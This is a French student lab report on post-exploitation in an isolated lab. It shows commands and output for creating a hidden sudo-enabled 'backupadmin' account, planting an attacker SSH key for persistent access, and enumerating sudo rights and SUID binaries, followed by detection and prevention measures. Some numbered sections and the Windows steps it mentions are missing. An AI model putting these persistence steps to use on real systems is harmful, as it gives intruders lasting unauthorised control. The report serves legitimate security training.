

Étudiant : ALIAWY MFAM SAKER RICHLAND

RAPPORT DU TP 3.4 – POST-EXPLOITATION : MAINTIEN D'ACCES ET ELEVATION DE PRIVILEGES

Machine cible Linux : Ubuntu 22.04 (192.168.56.10)

Machine cible Windows: Windows 10/11 (192.168.56.20)

Machine attaquante : Kali Linux (192.168.56.30)

1. INTRODUCTION

Ce TP a pour objectif de simuler les actions d'un attaquant après une compromission initiale : maintenir un accès durable (persistance) et élever ses privilèges pour obtenir le contrôle total du système. Les manipulations sont réalisées dans un laboratoire isolé, sur des machines dont nous sommes propriétaires.

2. PARTIE 1 – MAINTIEN D'ACCES SUR LINUX

2.1 VERIFICATION DE L'IDENTITE INITIALE

```
(aliawy@kali)~$ ssh aliawy@192.168.56.10
aliawy@192.168.56.10's password:
Welcome to Ubuntu 22.04.1 LTS (GNU/Linux 5.15.0-43-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

617 mises à jour peuvent être appliquées immédiatement.
451 de ces mises à jour sont des mises à jour de sécurité.
Pour afficher ces mises à jour supplémentaires, exécuter : apt list --upgradable

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

aliawy@aliawy-VirtualBox:~$
aliawy@aliawy-VirtualBox:~$ whoami
aliawy
aliawy@aliawy-VirtualBox:~$
aliawy@aliawy-VirtualBox:~$
```

Connexion SSH à Ubuntu (via l'accès initial) et exécution de whoami

Interprétation : La commande `whoami` affiche l'utilisateur courant. Dans le contexte du TP, nous sommes connectés avec un utilisateur standard (par exemple `aliawy`). Cela constitue le point de départ : un accès limité, sans droits administrateur.

2.2 CREATION D'UN COMPTE PERSISTANT BACKUPADMIN

```
aliawy@aliawy-VirtualBox:~$ sudo adduser backupadmin
[sudo] Mot de passe de aliawy :
Ajout de l'utilisateur « backupadmin » ...
Ajout du nouveau groupe « backupadmin » (1003) ...
Ajout du nouvel utilisateur « backupadmin » (1003) avec le groupe « backupadmin » ...
Création du répertoire personnel « /home/backupadmin »...
Copie des fichiers depuis « /etc/skel »...
Nouveau mot de passe :
MOT DE PASSE INCORRECT : Le mot de passe comporte moins de 8 caractères
Retapez le nouveau mot de passe :
passwd : le mot de passe a été mis à jour avec succès
Modification des informations relatives à l'utilisateur backupadmin
Entrez la nouvelle valeur ou « Entrée » pour conserver la valeur proposée
  Nom complet []:
  N° de bureau []:
  Téléphone professionnel []:
  Téléphone personnel []:
  Autre []:
Ces informations sont-elles correctes ? [0/n] o
aliawy@aliawy-VirtualBox:~$
```

Commande `sudo adduser backupadmin`

Interprétation : La commande `adduser` crée un nouvel utilisateur. L'attaquant choisit un mot de passe simple pour pouvoir s'en souvenir. Ce compte servira de porte dérobée.

```
ces informations sont-elles correctes ? [0/n] o
aliawy@aliawy-VirtualBox:~$ sudo usermod -aG sudo backupadmin
aliawy@aliawy-VirtualBox:~$ groups backupadmin
backupadmin : backupadmin sudo
aliawy@aliawy-VirtualBox:~$
```

ajout de `backupadmin` au groupe `sudo` et vérification (`groups backupadmin`)

Interprétation : Le groupe `sudo` permet d'exécuter des commandes en tant que `root`. L'apparition de `sudo` dans la liste des groupes confirme que `backupadmin` a désormais des droits élevés. L'attaquant peut ainsi revenir à tout moment avec un compte administrateur.

2.3 MISE EN PLACE D'UN ACCES SSH PAR CLE

```
(aliawy@kali)-[~]
$ ssh-keygen
Generating public/private ed25519 key pair.
Enter file in which to save the key (/home/aliawy/.ssh/id_ed25519):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/aliawy/.ssh/id_ed25519
Your public key has been saved in /home/aliawy/.ssh/id_ed25519.pub
The key fingerprint is:
SHA256:BHtVi4JPA9LaQjd0m/v+CPiVd/ZVk+wg2nVIcYznIJ8 aliawy@kali
The key's randomart image is:
+--[ED25519 256]--+
|      .. 0      ....0. |
|      .. =     . 0 +00 |
|      . *0+*   . +.= |
|      o = o    .Eo.. |
|      . .S     . + =. |
|      .. .0 o + o |
|      . .. 0 ... 0 .. |
|      . 0.o 0 . . |
|      .. 0..   . |
+-----[SHA256]-----+

(aliawy@kali)-[~]
$
```

```
(aliawy@kali)-[~]
$ ssh-copy-id backupadmin@192.168.56.10
/usr/bin/ssh-copy-id: INFO: Source of key(s) to be installed: "/home/aliawy/.ssh/id_ed25519.pub"
/usr/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed
/usr/bin/ssh-copy-id: INFO: 1 key(s) remain to be installed -- if you are prompted now it is to install the new keys
backupadmin@192.168.56.10's password:

Number of key(s) added: 1

Now try logging into the machine, with: "ssh 'backupadmin@192.168.56.10'"
and check to make sure that only the key(s) you wanted were added.
```

Génération de la clé SSH sur Kali (ssh-keygen) et copie vers Ubuntu (ssh-copy-id)

Interprétation : ssh-copy-id transfère la clé publique de Kali vers le fichier `authorized_keys` de l'utilisateur `backupadmin` sur Ubuntu. Une fois cette opération réussie, l'authentification se fera par clé, sans mot de passe.

```
(aliawy@kali)-[~]
$ ssh backupadmin@192.168.56.10
Welcome to Ubuntu 22.04.1 LTS (GNU/Linux 5.15.0-43-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

617 mises à jour peuvent être appliquées immédiatement.
451 de ces mises à jour sont des mises à jour de sécurité.
Pour afficher ces mises à jour supplémentaires, exécuter : apt list --upgradable

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

backupadmin@aliawy-VirtualBox:~$
```

Connexion SSH sans mot de passe (ssh backupadmin@192.168.56.10)

Interprétation : Le fait de se connecter sans mot de passe prouve que la clé a bien été installée. L'attaquant dispose désormais d'un accès persistant, indépendant du mot de passe initial. Même si le mot de passe de backupadmin est changé ultérieurement, la clé reste valide.

3. PARTIE 2 – ÉLEVATION DE PRIVILEGES SUR LINUX

3.1 VERIFICATION DES DROITS SUDO

```
backupadmin@aliawy-VirtualBox:~$ sudo -l
[sudo] Mot de passe de backupadmin :
Entrées Defaults correspondant pour backupadmin sur aliawy-VirtualBox :
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

L'utilisateur backupadmin peut utiliser les commandes suivantes sur aliawy-VirtualBox :
    (ALL : ALL) ALL
backupadmin@aliawy-VirtualBox:~$
```

Exécution de `sudo -l` depuis l'utilisateur courant (initiale ou backupadmin)

Interprétation : La commande `sudo -l` liste les commandes que l'utilisateur peut exécuter avec `sudo`. Si elle affiche des commandes sans mot de passe ou des binaires comme `sudo /bin/bash`, l'élévation de privilèges est triviale. Dans un environnement mal configuré, cela peut donner un accès root direct.

3.2 RECHERCHE DE BINAIRES SUID

```
backupadmin@aliawy-VirtualBox:~$ find / -perm -4000 2>/dev/null
/snap/core20/1587/usr/bin/chfn
/snap/core20/1587/usr/bin/chsh
/snap/core20/1587/usr/bin/gpasswd
/snap/core20/1587/usr/bin/mount
/snap/core20/1587/usr/bin/newgrp
/snap/core20/1587/usr/bin/passwd
/snap/core20/1587/usr/bin/su
/snap/core20/1587/usr/bin/sudo
/snap/core20/1587/usr/bin/umount
/snap/core20/1587/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/1587/usr/lib/openssh/ssh-keysign
/usr/libexec/polkit-agent-helper-1
/usr/bin/fusermount3
/usr/bin/su
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/sudo
/usr/bin/umount
/usr/bin/chsh
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/passwd
/usr/sbin/pppd
/usr/lib/snapd/snap-confine
/usr/lib/xorg/Xorg.wrap
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
backupadmin@aliawy-VirtualBox:~$
```

Commande `find / -perm -4000 2>/dev/null`

Interprétation : Ces binaires s'exécutent avec les droits de leur propriétaire (souvent root). Un attaquant cherche parmi ceux-ci un programme exploitable (ex: find, vim, nano, pkexec). La présence de ces binaires est normale, mais une mauvaise configuration ou un binaire malveillant peut permettre d'obtenir un shell root.

3.3 Exploitation d'un binaire SUID (exemple)

I Cette technique exploite le bit SUID de find. En exécutant find avec un -exec qui lance un shell, on profite des droits élevés pour obtenir un accès root. Cela montre comment une simple mauvaise configuration peut compromettre totalement le système.

4. ANALYSE DES RISQUES ET MESURES DE SECURITE

6.1 RISQUES IDENTIFIES

Technique Risque principal

Création d'un compte backupadmin / supportadmin Persistance si le compte n'est pas régulièrement audité.

Clé SSH Accès sans mot de passe, difficile à détecter.

Activation RDP Augmentation de la surface d'attaque ; peut passer inaperçue.

Élévation via SUID / getsystem Transformation d'un accès limité en contrôle total du système.

6.2 MESURES DE PREVENTION

- Comptes non autorisés :
 - Mettre en place une supervision des comptes (audit net user, cat /etc/passwd) avec alerte en cas de création inopinée.
 - Utiliser un outil comme Wazuh ou Tripwire pour détecter les modifications.
- Utilisation abusive de SSH :
 - Configurer PasswordAuthentication no (seulement clés).

- Surveiller les fichiers `authorized_keys` à l'aide d'un système de détection d'intégrité.
- Désactiver l'accès SSH pour les comptes non administrateurs.
- Activation non contrôlée de RDP :
 - Bloquer le port 3389 au niveau du pare-feu d'entreprise.
 - Restreindre l'accès RDP à des IP spécifiques (via VPN).
 - Surveiller la clé de registre `fDenyTSConnections` et les règles de pare-feu.

8. CONCLUSION

Ce TP a permis de mettre en œuvre les deux grandes étapes de la post-exploitation : persistance et élévation de privilèges.

- Sur Linux, la création d'un compte `sudo` et l'installation d'une clé SSH offrent un accès durable. L'exploitation de binaires SUID ou de droits `sudo` mal configurés mène à root.
- Sur Windows, la création d'un compte administrateur et l'activation de RDP fournissent un accès graphique pérenne.

Enseignements :

- Une compromission initiale n'est que le début ; le véritable danger est l'ancrage dans le système.
- La détection de ces techniques nécessite une surveillance proactive (logs, intégrité des fichiers, analyse des comportements).